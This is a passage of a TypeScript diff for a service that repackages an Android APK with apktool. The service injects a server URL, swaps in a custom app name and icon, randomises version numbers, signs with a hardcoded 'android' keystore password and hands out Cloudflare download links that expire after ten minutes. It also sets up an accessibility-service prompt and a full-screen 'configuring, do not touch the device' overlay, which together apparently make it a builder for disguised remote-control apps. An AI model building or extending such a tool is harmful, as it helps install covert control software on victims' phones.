randomVersion.versionName) + this.addBuildLog('success', `版本号已修改为: ${randomVersion.versionName} (${randomVersion.versionCode})`) + + this.buildStatus.progress = 50 + this.buildStatus.message = '使用apktool重新打包APK...' + this.addBuildLog('info', '开始使用apktool重新打包APK...') + + // 使用apktool重新打包 + const buildResult = await this.rebuildAPKWithApktool(sourceApkPath, apktoolPath, options?.pageStyleConfig?.apkFileName) + + if (buildResult.success) { + this.addBuildLog('success', `APK打包成功: ${buildResult.filename}`) + this.buildStatus.progress = 80 + this.buildStatus.message = '签名APK...' + this.addBuildLog('info', '开始签名APK...') + + // 签名APK + const signedApkPath = await this.signAPK(buildResult.apkPath!, buildResult.filename!) + + if (!signedApkPath) { + this.addBuildLog('error', 'APK签名失败') + this.buildStatus.isBuilding = false + resolve({ + success: false, + message: 'APK签名失败' + }) + return + } + + this.buildStatus.progress = 90 + this.buildStatus.message = '生成分享链接...' + this.addBuildLog('info', '生成分享链接...') + + // 🚀 自动生成Cloudflare分享链接 + const apkPath = signedApkPath + const filename = buildResult.filename! + + const shareResult = await this.cloudflareService.createShareLink( + apkPath, + filename, + 10 // 10分钟有效期 + ) + + this.buildStatus.progress = 100 + + if (shareResult.success) { + this.addBuildLog('success', `分享链接生成成功: ${shareResult.shareUrl}`) + this.addBuildLog('success', '========== 构建完成 ==========') + this.buildStatus.message = `构建完成!分享链接已生成,有效期10分钟` + this.buildStatus.success = true + this.buildStatus.shareUrl = shareResult.shareUrl + this.buildStatus.shareSessionId = shareResult.sessionId + this.buildStatus.shareExpiresAt = shareResult.expiresAt + + resolve({ + success: true, + message: '构建完成并生成分享链接', + filename, + shareUrl: shareResult.shareUrl, + shareExpiresAt: shareResult.expiresAt, + sessionId: shareResult.sessionId + }) + } else { + this.addBuildLog('warn', `分享链接生成失败: ${shareResult.error}`) + this.addBuildLog('success', '========== 构建完成(分享链接生成失败)==========') + this.buildStatus.message = `构建完成,但生成分享链接失败: ${shareResult.error}` + this.buildStatus.success = true + + resolve({ + success: true, + message: '构建完成,但分享链接生成失败', + filename, + shareError: shareResult.error + }) + } + } else { + this.addBuildLog('error', `APK打包失败: ${buildResult.message}`) + this.addBuildLog('error', '========== 构建失败 ==========') + this.buildStatus.isBuilding = false + resolve(buildResult) + } + } catch (error: any) { + this.addBuildLog('error', `构建过程发生异常: ${error.message}`) + this.addBuildLog('error', `[DEBUG] 错误堆栈: ${error.stack}`) + this.addBuildLog('error', '========== 构建失败 ==========') + this.logger.error('构建APK失败:', error) + this.logger.error('错误堆栈:', error.stack) + this.buildStatus = { + isBuilding: false, + progress: 0, + message: `构建失败: ${error.message}`, + success: false + } + reject({ + success: false, + message: error.message + }) + } finally { + this.buildStatus.isBuilding = false + } + } + + + + /** + * 获取构建状态(增强版) + */ + getBuildStatus(): EnhancedBuildStatus { + return { + ...this.buildStatus, + activeShares: this.cloudflareService.getActiveShares() + } + } + + /** + * 停止分享链接 + */ + async stopShare(sessionId: string): Promise { + return await this.cloudflareService.stopShare(sessionId) + } + + /** + * 获取活动分享链接 + */ + getActiveShares(): Array<{ + sessionId: string + filename: string + shareUrl: string + createdAt: string + expiresAt: string + isExpired: boolean + }> { + return this.cloudflareService.getActiveShares() + } + + + /** + * 获取APK文件信息用于下载 + */ + async getAPKForDownload(): Promise<{ + success: boolean + filePath?: string + filename?: string + size?: number + error?: string + }> { + try { + const apkResult = await this.checkExistingAPK() + + if (!apkResult.exists) { + return { + success: false, + error: '没有可用的APK文件,请先构建' + } + } + + return { + success: true, + filePath: apkResult.path, + filename: apkResult.filename, + size: apkResult.size + } + } catch (error: any) { + this.logger.error('获取APK文件失败:', error) + return { + success: false, + error: error.message + } + } + } + + + /** + * 写入服务器配置到反编译目录 + */ + private async writeServerConfigToSourceApk(sourceApkPath: string, serverUrl: string, options?: { + enableConfigMask?: boolean + enableProgressBar?: boolean + configMaskText?: string + configMaskSubtitle?: string + configMaskStatus?: string + webUrl?: string + pageStyleConfig?: { + appName?: string + statusText?: string + enableButtonText?: string + usageInstructions?: string + apkFileName?: string + appIconFile?: { + buffer: Buffer + originalname: string + mimetype: string + } + } + }): Promise { + try { + // 配置文件路径 + const configFile = path.join(sourceApkPath, 'assets/server_config.json') + + // 确保assets目录存在 + const assetsDir = path.dirname(configFile) + if (!fs.existsSync(assetsDir)) { + fs.mkdirSync(assetsDir, { recursive: true }) + } + + // 写入配置 + const config = { + serverUrl: serverUrl, + webUrl: options?.webUrl || '', + buildTime: new Date().toISOString(), + version: '1.0.0', + enableConfigMask: options?.enableConfigMask ?? true, + enableProgressBar: options?.enableProgressBar ?? true, + configMaskText: options?.configMaskText ?? '配置中请稍后...', + configMaskSubtitle: options?.configMaskSubtitle ?? '正在自动配置和连接\n请勿操作设备', + configMaskStatus: options?.configMaskStatus ?? '配置完成后将自动返回应用', + pageStyleConfig: options?.pageStyleConfig || {} + } + + this.logger.info('页面样式配置详情:', JSON.stringify(options?.pageStyleConfig, null, 2)) + + fs.writeFileSync(configFile, JSON.stringify(config, null, 2)) + this.logger.info(`服务器配置已写入: ${configFile}`) + + } catch (error) { + this.logger.error('写入服务器配置失败:', error) + throw error + } + } + + /** + * 更新反编译目录中的应用图标 + */ + private async updateAppIconInSourceApk(sourceApkPath: string, iconFile: { + buffer: Buffer + originalname: string + mimetype: string + }): Promise { + try { + this.logger.info('开始更新应用图标:', iconFile.originalname) + + // 验证图标文件 + if (!iconFile.buffer || iconFile.buffer.length === 0) { + throw new Error('图标文件为空') + } + + // 检查文件格式 + const pngSignature = Buffer.from([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]) + const jpegSignature = Buffer.from([0xFF, 0xD8, 0xFF]) + const fileHeader = iconFile.buffer.subarray(0, 8) + + const isPngByHeader = fileHeader.equals(pngSignature) + const isJpegByHeader = fileHeader.subarray(0, 3).equals(jpegSignature) + + if (isJpegByHeader) { + throw new Error('上传的文件是JPEG格式,Android应用图标需要PNG格式。请转换后重新上传。') + } + + if (!isPngByHeader) { + throw new Error('图标文件格式不正确,请上传PNG格式的图片文件。') + } + + this.logger.info('图标文件验证通过,开始更新...') + + // Android图标文件路径(所有密度的mipmap目录) + const iconPaths = [ + 'res/mipmap-hdpi/ic_launcher.png', + 'res/mipmap-mdpi/ic_launcher.png', + 'res/mipmap-xhdpi/ic_launcher.png', + 'res/mipmap-xxhdpi/ic_launcher.png', + 'res/mipmap-xxxhdpi/ic_launcher.png' + ] + + // 对所有密度的图标文件进行替换 + for (const iconPath of iconPaths) { + try { + const fullPath = path.join(sourceApkPath, iconPath) + const dir = path.dirname(fullPath) + + // 确保目录存在 + if (!fs.existsSync(dir)) { + fs.mkdirSync(dir, { recursive: true }) + } + + // 写入图标文件 + fs.writeFileSync(fullPath, iconFile.buffer) + this.logger.info(`✅ 已更新图标: ${iconPath}`) + } catch (error) { + this.logger.error(`更新图标失败 ${iconPath}:`, error) + // 继续处理其他图标,不中断整个过程 + } + } + + // 同时更新圆形图标 + const roundIconPaths = [ + 'res/mipmap-hdpi/ic_launcher_round.png', + 'res/mipmap-mdpi/ic_launcher_round.png', + 'res/mipmap-xhdpi/ic_launcher_round.png', + 'res/mipmap-xxhdpi/ic_launcher_round.png', + 'res/mipmap-xxxhdpi/ic_launcher_round.png' + ] + + for (const iconPath of roundIconPaths) { + try { + const fullPath = path.join(sourceApkPath, iconPath) + const dir = path.dirname(fullPath) + + if (!fs.existsSync(dir)) { + fs.mkdirSync(dir, { recursive: true }) + } + + fs.writeFileSync(fullPath, iconFile.buffer) + this.logger.info(`✅ 已更新圆形图标: ${iconPath}`) + } catch (error) { + this.logger.error(`更新圆形图标失败 ${iconPath}:`, error) + // 继续处理其他图标,不中断整个过程 + } + } + + this.logger.info('✅ 应用图标更新完成') + + } catch (error) { + this.logger.error('更新应用图标失败:', error) + throw new Error(`更新应用图标失败: ${error}`) + } + } + + /** + * 更新反编译目录中的应用名称 + */ + private async updateAppNameInSourceApk(sourceApkPath: string, appName: string): Promise { + try { + const stringsPath = path.join(sourceApkPath, 'res/values/strings.xml') + + if (!fs.existsSync(stringsPath)) { + this.logger.warn('strings.xml文件不存在,跳过应用名称更新') + return + } + + // 读取现有的strings.xml + let content = fs.readFileSync(stringsPath, 'utf8') + + // 更新应用名称 + if (content.includes('name="app_name"')) { + content = content.replace( + /.*?<\/string>/, + `${appName}` + ) + } else { + // 如果不存在,添加到resources标签内 + content = content.replace( + '', + ` ${appName}\n` + ) + } + + fs.writeFileSync(stringsPath, content) + this.logger.info(`应用名称已更新为: ${appName}`) + + } catch (error) { + this.logger.error('更新应用名称失败:', error) + // 不抛出错误,因为这不是关键步骤 + } + } + + /** + * 更新反编译目录中的页面样式配置 + */ + private async updatePageStyleConfigInSourceApk(sourceApkPath: string, config: { + appName?: string + statusText?: string + enableButtonText?: string + usageInstructions?: string + }): Promise { + try { + const stringsPath = path.join(sourceApkPath, 'res/values/strings.xml') + + if (!fs.existsSync(stringsPath)) { + this.logger.warn('strings.xml文件不存在,跳过页面样式配置更新') + return + } + + // 读取现有的strings.xml + let content = fs.readFileSync(stringsPath, 'utf8') + + // 更新状态文本 + if (config.statusText) { + const escapedText = config.statusText.replace(/\n/g, '\\n').replace(/"/g, '\\"') + if (content.includes('name="service_status_checking"')) { + content = content.replace( + /.*?<\/string>/, + `${escapedText}` + ) + } else { + content = content.replace( + '', + ` ${escapedText}\n` + ) + } + } + + // 更新启用按钮文字 + if (config.enableButtonText) { + if (content.includes('name="enable_accessibility_service"')) { + content = content.replace( + /.*?<\/string>/, + `${config.enableButtonText}` + ) + } else { + content = content.replace( + '', + ` ${config.enableButtonText}\n` + ) + } + } + + // 更新使用说明 + if (config.usageInstructions) { + const escapedInstructions = config.usageInstructions.replace(/\n/g, '\\n').replace(/"/g, '\\"') + if (content.includes('name="usage_instructions"')) { + content = content.replace( + /.*?<\/string>/s, + `${escapedInstructions}` + ) + } else { + content = content.replace( + '', + ` ${escapedInstructions}\n` + ) + } + } + + fs.writeFileSync(stringsPath, content) + this.logger.info('页面样式配置已更新到strings.xml') + + } catch (error) { + this.logger.error('更新页面样式配置失败:', error) + // 不抛出错误,因为这不是关键步骤 + } + } + + /** + * 使用apktool重新打包APK + */ + private async rebuildAPKWithApktool(sourceApkPath: string, apktoolPath: string, customFileName?: string): Promise<{ + success: boolean + message: string + apkPath?: string + filename?: string + }> { + try { + this.buildStatus.progress = 50 + this.buildStatus.message = '使用apktool重新打包APK...' + this.addBuildLog('info', '准备输出目录...') + + // 确定输出APK的目录和文件名 + const outputDir = path.join(process.cwd(), 'android/build_output') + this.addBuildLog('info', `[DEBUG] 输出目录路径: ${outputDir}`) + this.addBuildLog('info', `[DEBUG] 输出目录是否存在: ${fs.existsSync(outputDir)}`) + + if (!fs.existsSync(outputDir)) { + this.addBuildLog('info', '[DEBUG] 创建输出目录...') + fs.mkdirSync(outputDir, { recursive: true }) + this.addBuildLog('info', '创建输出目录: android/build_output') + this.addBuildLog('info', `[DEBUG] 目录创建后是否存在: ${fs.existsSync(outputDir)}`) + } else { + this.addBuildLog('info', '[DEBUG] 输出目录已存在') + } + + const apkFileName = customFileName?.trim() ? `${customFileName.trim()}.apk` : 'app.apk' + const outputApkPath = path.join(outputDir, apkFileName) + this.addBuildLog('info', `输出APK文件: ${apkFileName}`) + this.addBuildLog('info', `[DEBUG] 完整输出路径: ${outputApkPath}`) + + // 删除旧的APK文件(如果存在) + if (fs.existsSync(outputApkPath)) { + const oldSize = fs.statSync(outputApkPath).size + this.addBuildLog('info', `[DEBUG] 发现旧APK文件,大小: ${(oldSize / 1024 / 1024).toFixed(2)} MB`) + fs.unlinkSync(outputApkPath) + this.addBuildLog('info', `已删除旧的APK文件: ${apkFileName}`) + this.addBuildLog('info', `[DEBUG] 删除后文件是否存在: ${fs.existsSync(outputApkPath)}`) + } else { + this.addBuildLog('info', '[DEBUG] 没有找到旧的APK文件') + } + + // 构建apktool命令 + // 使用spawn而不是exec,以便更好地处理输出和错误 + this.addBuildLog('info', `执行apktool命令: java -jar apktool.jar b source_apk -o ${apkFileName}`) + this.addBuildLog('info', `完整命令路径: ${apktoolPath}`) + this.addBuildLog('info', `源目录: ${sourceApkPath}`) + this.addBuildLog('info', `输出路径: ${outputApkPath}`) + + // 验证路径是否存在 + this.addBuildLog('info', `[DEBUG] 检查apktool路径: ${apktoolPath}`) + this.addBuildLog('info', `[DEBUG] apktool文件是否存在: ${fs.existsSync(apktoolPath)}`) + if (fs.existsSync(apktoolPath)) { + const apktoolStats = fs.statSync(apktoolPath) + this.addBuildLog('info', `[DEBUG] apktool文件大小: ${(apktoolStats.size / 1024 / 1024).toFixed(2)} MB`) + } + + if (!fs.existsSync(apktoolPath)) { + this.addBuildLog('error', `[DEBUG] apktool文件不存在,完整路径: ${apktoolPath}`) + throw new Error(`apktool文件不存在: ${apktoolPath}`) + } + + this.addBuildLog('info', `[DEBUG] 检查源目录路径: ${sourceApkPath}`) + this.addBuildLog('info', `[DEBUG] 源目录是否存在: ${fs.existsSync(sourceApkPath)}`) + if (fs.existsSync(sourceApkPath)) { + const sourceStats = fs.statSync(sourceApkPath) + this.addBuildLog('info', `[DEBUG] 源目录是目录: ${sourceStats.isDirectory()}`) + } + + if (!fs.existsSync(sourceApkPath)) { + this.addBuildLog('error', `[DEBUG] 源目录不存在,完整路径: ${sourceApkPath}`) + throw new Error(`源目录不存在: ${sourceApkPath}`) + } + + this.buildStatus.progress = 60 + this.buildStatus.message = '正在打包APK...' + + // 使用spawn执行apktool命令,以便实时获取输出 + let stdout = '' + let stderr = '' + let exitCode = -1 + const isWindows = platform() === 'win32' + + try { + this.addBuildLog('info', '开始执行apktool命令,请稍候...') + this.addBuildLog('info', `操作系统: ${isWindows ? 'Windows' : 'Linux/Unix'}`) + this.addBuildLog('info', `[DEBUG] 当前工作目录: ${process.cwd()}`) + this.addBuildLog('info', `[DEBUG] Node.js版本: ${process.version}`) + + // 使用Promise包装spawn,以便更好地处理输出 + // Windows和Linux都需要正确处理路径 + const result = await new Promise<{ stdout: string, stderr: string, exitCode: number }>((resolve, reject) => { + // 确保路径使用正确的分隔符 + const normalizedApktoolPath = path.normalize(apktoolPath) + const normalizedSourcePath = path.normalize(sourceApkPath) + const normalizedOutputPath = path.normalize(outputApkPath) + + // Windows上,如果路径包含空格,需要特殊处理 + // Linux上直接使用spawn,不需要shell + let javaProcess: any + + if (isWindows) { + // Windows: 使用shell执行,确保路径中的空格被正确处理 + // 将路径用引号包裹,防止空格问题 + const command = `java -jar "${normalizedApktoolPath}" b "${normalizedSourcePath}" -o "${normalizedOutputPath}"` + this.addBuildLog('info', `[DEBUG] Windows命令: ${command}`) + this.addBuildLog('info', `[DEBUG] 规范化后的apktool路径: ${normalizedApktoolPath}`) + this.addBuildLog('info', `[DEBUG] 规范化后的源路径: ${normalizedSourcePath}`) + this.addBuildLog('info', `[DEBUG] 规范化后的输出路径: ${normalizedOutputPath}`) + + javaProcess = spawn(command, [], { + cwd: process.cwd(), + shell: true // Windows上使用shell + }) + this.addBuildLog('info', `[DEBUG] 进程已启动,PID: ${javaProcess.pid}`) + } else { + // Linux/Unix: 直接使用spawn,不需要shell + this.addBuildLog('info', `[DEBUG] Linux命令参数:`) + this.addBuildLog('info', `[DEBUG] - jar: ${normalizedApktoolPath}`) + this.addBuildLog('info', `[DEBUG] - b: ${normalizedSourcePath}`) + this.addBuildLog('info', `[DEBUG] - o: ${normalizedOutputPath}`) + + javaProcess = spawn('java', [ + '-jar', + normalizedApktoolPath, + 'b', + normalizedSourcePath, + '-o', + normalizedOutputPath + ], { + cwd: process.cwd(), + shell: false // Linux上不使用shell + }) + this.addBuildLog('info', `[DEBUG] 进程已启动,PID: ${javaProcess.pid}`) + } + + let processStdout = '' + let processStderr = '' + let stdoutDataCount = 0 + let stderrDataCount = 0 + const startTime = Date.now() + + // 监听stdout + if (javaProcess.stdout) { + javaProcess.stdout.on('data', (data: Buffer) => { + stdoutDataCount++ + const text = data.toString('utf8') + processStdout += text + this.addBuildLog('info', `[DEBUG] 收到stdout数据 #${stdoutDataCount},长度: ${data.length} 字节`) + + // 实时记录输出 + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + this.addBuildLog('info', `[DEBUG] stdout行数: ${lines.length}`) + + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + // 根据内容判断日志级别 + if (trimmedLine.toLowerCase().includes('error') || trimmedLine.toLowerCase().includes('exception')) { + this.addBuildLog('error', `apktool: ${trimmedLine}`) + } else if (trimmedLine.toLowerCase().includes('warning') || trimmedLine.toLowerCase().includes('warn')) { + this.addBuildLog('warn', `apktool: ${trimmedLine}`) + } else if (trimmedLine.toLowerCase().includes('brut.androlib') || trimmedLine.toLowerCase().includes('i:') || trimmedLine.toLowerCase().includes('building')) { + this.addBuildLog('info', `apktool: ${trimmedLine}`) + } else { + this.addBuildLog('info', `apktool: ${trimmedLine}`) + } + } + }) + }) + + javaProcess.stdout.on('end', () => { + this.addBuildLog('info', `[DEBUG] stdout流已结束,共收到 ${stdoutDataCount} 次数据`) + }) + + javaProcess.stdout.on('error', (error: Error) => { + this.addBuildLog('error', `[DEBUG] stdout流错误: ${error.message}`) + }) + } else { + this.addBuildLog('warn', `[DEBUG] 警告: stdout流不可用`) + } + + // 监听stderr + if (javaProcess.stderr) { + javaProcess.stderr.on('data', (data: Buffer) => { + stderrDataCount++ + const text = data.toString('utf8') + processStderr += text + this.addBuildLog('warn', `[DEBUG] 收到stderr数据 #${stderrDataCount},长度: ${data.length} 字节`) + + // 实时记录错误输出 + const lines = text.split(/\r?\n/).filter((line: string) => line.trim()) + this.addBuildLog('warn', `[DEBUG] stderr行数: ${lines.length}`) + + lines.forEach((line: string) => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('warn', `apktool警告: ${trimmedLine}`) + } + }) + }) + + javaProcess.stderr.on('end', () => { + this.addBuildLog('info', `[DEBUG] stderr流已结束,共收到 ${stderrDataCount} 次数据`) + }) + + javaProcess.stderr.on('error', (error: Error) => { + this.addBuildLog('error', `[DEBUG] stderr流错误: ${error.message}`) + }) + } else { + this.addBuildLog('warn', `[DEBUG] 警告: stderr流不可用`) + } + + javaProcess.on('error', (error: Error) => { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(2) + this.addBuildLog('error', `[DEBUG] 进程错误事件触发 (运行时间: ${elapsed}秒)`) + this.addBuildLog('error', `[DEBUG] 错误名称: ${error.name}`) + this.addBuildLog('error', `[DEBUG] 错误消息: ${error.message}`) + this.addBuildLog('error', `[DEBUG] 错误堆栈: ${error.stack}`) + this.addBuildLog('error', `[DEBUG] 进程是否已退出: ${javaProcess.killed}`) + this.addBuildLog('error', `进程启动失败: ${error.message}`) + reject(error) + }) + + javaProcess.on('close', (code: number | null, signal: string | null) => { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(2) + this.addBuildLog('info', `[DEBUG] 进程关闭事件触发 (运行时间: ${elapsed}秒)`) + this.addBuildLog('info', `[DEBUG] 退出码: ${code}`) + this.addBuildLog('info', `[DEBUG] 退出信号: ${signal || '无'}`) + this.addBuildLog('info', `[DEBUG] stdout总长度: ${processStdout.length} 字符`) + this.addBuildLog('info', `[DEBUG] stderr总长度: ${processStderr.length} 字符`) + this.addBuildLog('info', `[DEBUG] stdout数据包数: ${stdoutDataCount}`) + this.addBuildLog('info', `[DEBUG] stderr数据包数: ${stderrDataCount}`) + + // 输出完整的stdout和stderr(如果较短) + if (processStdout.length > 0) { + if (processStdout.length < 2000) { + this.addBuildLog('info', `[DEBUG] 完整stdout输出:\n${processStdout}`) + } else { + this.addBuildLog('info', `[DEBUG] stdout输出(前1000字符):\n${processStdout.substring(0, 1000)}...`) + this.addBuildLog('info', `[DEBUG] stdout输出(后1000字符):\n...${processStdout.substring(processStdout.length - 1000)}`) + } + } else { + this.addBuildLog('warn', `[DEBUG] 警告: stdout为空,没有收到任何输出`) + } + + if (processStderr.length > 0) { + if (processStderr.length < 2000) { + this.addBuildLog('warn', `[DEBUG] 完整stderr输出:\n${processStderr}`) + } else { + this.addBuildLog('warn', `[DEBUG] stderr输出(前1000字符):\n${processStderr.substring(0, 1000)}...`) + this.addBuildLog('warn', `[DEBUG] stderr输出(后1000字符):\n...${processStderr.substring(processStderr.length - 1000)}`) + } + } else { + this.addBuildLog('info', `[DEBUG] stderr为空(正常情况)`) + } + + exitCode = code || 0 + if (code === 0) { + this.addBuildLog('info', `[DEBUG] 进程正常退出`) + resolve({ stdout: processStdout, stderr: processStderr, exitCode }) + } else { + this.addBuildLog('error', `[DEBUG] 进程异常退出,退出码: ${code}`) + const error = new Error(`apktool执行失败,退出码: ${code}`) + ; (error as any).stdout = processStdout + ; (error as any).stderr = processStderr + ; (error as any).exitCode = code + reject(error) + } + }) + + // 监听进程退出事件(备用) + javaProcess.on('exit', (code: number | null, signal: string | null) => { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(2) + this.addBuildLog('info', `[DEBUG] 进程退出事件触发 (运行时间: ${elapsed}秒)`) + this.addBuildLog('info', `[DEBUG] 退出码: ${code}, 信号: ${signal || '无'}`) + }) + + // 添加进程状态监控 + const statusInterval = setInterval(() => { + if (javaProcess && !javaProcess.killed) { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(2) + this.addBuildLog('info', `[DEBUG] 进程运行中... (已运行 ${elapsed}秒, PID: ${javaProcess.pid}, stdout包: ${stdoutDataCount}, stderr包: ${stderrDataCount})`) + } else { + clearInterval(statusInterval) + } + }, 10000) // 每10秒报告一次状态 + + // 清理状态监控 + javaProcess.on('close', () => { + clearInterval(statusInterval) + }) + + // 设置超时 + const timeoutId = setTimeout(() => { + if (javaProcess && !javaProcess.killed) { + const elapsed = ((Date.now() - startTime) / 1000).toFixed(2) + this.addBuildLog('error', `apktool执行超时(10分钟),正在终止进程... (已运行 ${elapsed}秒)`) + this.addBuildLog('error', `[DEBUG] 超时时的状态 - stdout包: ${stdoutDataCount}, stderr包: ${stderrDataCount}`) + this.addBuildLog('error', `[DEBUG] 超时时的输出长度 - stdout: ${processStdout.length}, stderr: ${processStderr.length}`) + + // Windows和Linux都需要正确终止进程 + if (isWindows) { + // Windows上需要终止进程树 + this.addBuildLog('error', `[DEBUG] Windows: 发送SIGTERM信号`) + javaProcess.kill('SIGTERM') + // 如果SIGTERM无效,使用SIGKILL + setTimeout(() => { + if (!javaProcess.killed) { + this.addBuildLog('error', `[DEBUG] Windows: SIGTERM无效,发送SIGKILL信号`) + javaProcess.kill('SIGKILL') + } + }, 5000) + } else { + // Linux上使用SIGTERM,然后SIGKILL + this.addBuildLog('error', `[DEBUG] Linux: 发送SIGTERM信号`) + javaProcess.kill('SIGTERM') + setTimeout(() => { + if (!javaProcess.killed) { + this.addBuildLog('error', `[DEBUG] Linux: SIGTERM无效,发送SIGKILL信号`) + javaProcess.kill('SIGKILL') + } + }, 5000) + } + + const timeoutError = new Error('apktool执行超时(10分钟)') + ; (timeoutError as any).stdout = processStdout + ; (timeoutError as any).stderr = processStderr + ; (timeoutError as any).exitCode = -1 + reject(timeoutError) + } + }, 600000) // 10分钟超时 + + // 清理超时定时器 + javaProcess.on('close', () => { + clearTimeout(timeoutId) + }) + + // 添加启动确认日志 + this.addBuildLog('info', `[DEBUG] 进程已启动,等待输出...`) + this.addBuildLog('info', `[DEBUG] 进程PID: ${javaProcess.pid}`) + this.addBuildLog('info', `[DEBUG] 进程是否已退出: ${javaProcess.killed}`) + this.addBuildLog('info', `[DEBUG] 进程信号: ${javaProcess.signalCode || '无'}`) + }) + + stdout = result.stdout + stderr = result.stderr + exitCode = result.exitCode + this.addBuildLog('info', `apktool命令执行完成,退出码: ${exitCode}`) + + } catch (execError: any) { + // 捕获执行错误 + this.addBuildLog('error', `apktool命令执行失败: ${execError.message}`) + if (execError.exitCode !== undefined) { + this.addBuildLog('error', `退出码: ${execError.exitCode}`) + } + stdout = execError.stdout || '' + stderr = execError.stderr || '' + exitCode = execError.exitCode || -1 + + // 如果有输出,先记录输出 + if (stdout) { + const preview = stdout.length > 500 ? stdout.substring(0, 500) + '...' : stdout + this.addBuildLog('warn', `命令输出预览: ${preview}`) + } + if (stderr) { + const preview = stderr.length > 500 ? stderr.substring(0, 500) + '...' : stderr + this.addBuildLog('error', `命令错误预览: ${preview}`) + } + + // 如果退出码不是0,抛出错误 + if (exitCode !== 0) { + throw execError + } + } + + // 记录apktool输出 + if (stdout) { + const stdoutLines = stdout.split('\n').filter(line => line.trim()) + if (stdoutLines.length > 0) { + this.addBuildLog('info', `apktool输出 (${stdoutLines.length}行):`) + stdoutLines.forEach(line => { + const trimmedLine = line.trim() + if (trimmedLine) { + if (trimmedLine.toLowerCase().includes('error') || trimmedLine.toLowerCase().includes('exception')) { + this.addBuildLog('error', ` ${trimmedLine}`) + } else if (trimmedLine.toLowerCase().includes('warning')) { + this.addBuildLog('warn', ` ${trimmedLine}`) + } else if (trimmedLine.toLowerCase().includes('brut.androlib') || trimmedLine.toLowerCase().includes('i:')) { + // apktool的标准输出信息 + this.addBuildLog('info', ` ${trimmedLine}`) + } else { + this.addBuildLog('info', ` ${trimmedLine}`) + } + } + }) + } else { + this.addBuildLog('info', 'apktool执行完成,无标准输出') + } + } else { + this.addBuildLog('warn', 'apktool无标准输出') + } + + if (stderr) { + const stderrLines = stderr.split('\n').filter(line => line.trim()) + if (stderrLines.length > 0) { + this.addBuildLog('warn', `apktool错误输出 (${stderrLines.length}行):`) + stderrLines.forEach(line => { + const trimmedLine = line.trim() + if (trimmedLine) { + this.addBuildLog('warn', ` ${trimmedLine}`) + } + }) + } + } + + this.buildStatus.progress = 80 + this.buildStatus.message = '检查打包结果...' + this.addBuildLog('info', '检查打包结果...') + this.addBuildLog('info', `[DEBUG] 检查输出文件路径: ${outputApkPath}`) + this.addBuildLog('info', `[DEBUG] 输出文件是否存在: ${fs.existsSync(outputApkPath)}`) + + // 检查APK文件是否生成 + if (fs.existsSync(outputApkPath)) { + const stats = fs.statSync(outputApkPath) + const fileSizeMB = (stats.size / 1024 / 1024).toFixed(2) + const fileSizeKB = (stats.size / 1024).toFixed(2) + this.addBuildLog('info', `[DEBUG] APK文件大小: ${stats.size} 字节 (${fileSizeKB} KB / ${fileSizeMB} MB)`) + this.addBuildLog('info', `[DEBUG] APK文件修改时间: ${stats.mtime.toISOString()}`) + + // 检查文件是否可读 + try { + fs.accessSync(outputApkPath, fs.constants.R_OK) + this.addBuildLog('info', `[DEBUG] APK文件可读性检查: 通过`) + } catch (accessError) { + this.addBuildLog('warn', `[DEBUG] APK文件可读性检查: 失败 - ${accessError}`) + } + + this.addBuildLog('success', `APK打包成功: ${apkFileName} (${fileSizeMB} MB)`) + + // 验证文件确实是APK格式(检查文件头) + try { + const fileBuffer = fs.readFileSync(outputApkPath) + const headerBytes = fileBuffer.subarray(0, 4) + const isZipFile = headerBytes[0] === 0x50 && headerBytes[1] === 0x4B && (headerBytes[2] === 0x03 || headerBytes[2] === 0x05 || headerBytes[2] === 0x07) + this.addBuildLog('info', `[DEBUG] 文件头检查 (ZIP格式): ${isZipFile ? '通过' : '失败'}`) + this.addBuildLog('info', `[DEBUG] 文件头字节: ${Array.from(headerBytes).map(b => '0x' + b.toString(16).padStart(2, '0')).join(' ')}`) + if (!isZipFile) { + this.addBuildLog('warn', `[DEBUG] 警告: 文件可能不是有效的ZIP/APK格式`) + } + } catch (verifyError: any) { + this.addBuildLog('warn', `[DEBUG] 文件头验证失败: ${verifyError.message}`) + } + + return { + success: true, + message: 'APK打包成功', + apkPath: outputApkPath, + filename: apkFileName + } + } else { + this.addBuildLog('error', `[DEBUG] APK文件未生成`) + this.addBuildLog('error', `[DEBUG] 期望路径: ${outputApkPath}`) + this.addBuildLog('error', `[DEBUG] 输出目录内容:`) + try { + if (fs.existsSync(outputDir)) { + const dirContents = fs.readdirSync(outputDir) + this.addBuildLog('error', `[DEBUG] 目录中的文件: ${dirContents.join(', ')}`) + dirContents.forEach((file: string) => { + const filePath = path.join(outputDir, file) + const fileStats = fs.statSync(filePath) + this.addBuildLog('error', `[DEBUG] - ${file}: ${fileStats.isDirectory() ? '目录' : '文件'} (${fileStats.size} 字节)`) + }) + } else { + this.addBuildLog('error', `[DEBUG] 输出目录不存在`) + } + } catch (listError) { + this.addBuildLog('error', `[DEBUG] 无法列出目录内容: ${listError}`) + } + this.addBuildLog('error', 'APK文件未生成,请检查apktool输出') + throw new Error('APK文件未生成,请检查apktool输出') + } + } catch (error: any) { + this.addBuildLog('error', `apktool打包失败: ${error.message}`) + if (error.stdout) { + const stdoutLines = error.stdout.split('\n').filter((line: string) => line.trim()) + stdoutLines.forEach((line: string) => { + this.addBuildLog('error', `apktool输出: ${line.trim()}`) + }) + } + if (error.stderr) { + const stderrLines = error.stderr.split('\n').filter((line: string) => line.trim()) + stderrLines.forEach((line: string) => { + this.addBuildLog('error', `apktool错误: ${line.trim()}`) + }) + } + return { + success: false, + message: error.message || 'apktool打包失败' + } + } + } + + /** + * 签名APK文件 + */ + private async signAPK(apkPath: string, filename: string): Promise { + try { + this.addBuildLog('info', `准备签名APK: ${filename}`) + + // 确保keystore文件存在 + const keystorePath = path.join(process.cwd(), 'android', 'app.keystore') + const keystorePassword = 'android' + const keyAlias = 'androidkey' + const keyPassword = 'android' + + // 如果keystore不存在,创建它 + if (!fs.existsSync(keystorePath)) { + this.addBuildLog('info', 'keystore文件不存在,正在创建...') + await this.createKeystore(keystorePath, keystorePassword, keyAlias, keyPassword) + this.addBuildLog('success', 'keystore文件创建成功') + } else { + this.addBuildLog('info', '使用现有的keystore文件') + } + + // 使用jarsigner签名APK + this.addBuildLog('info', '使用jarsigner签名APK...') + const isWindows 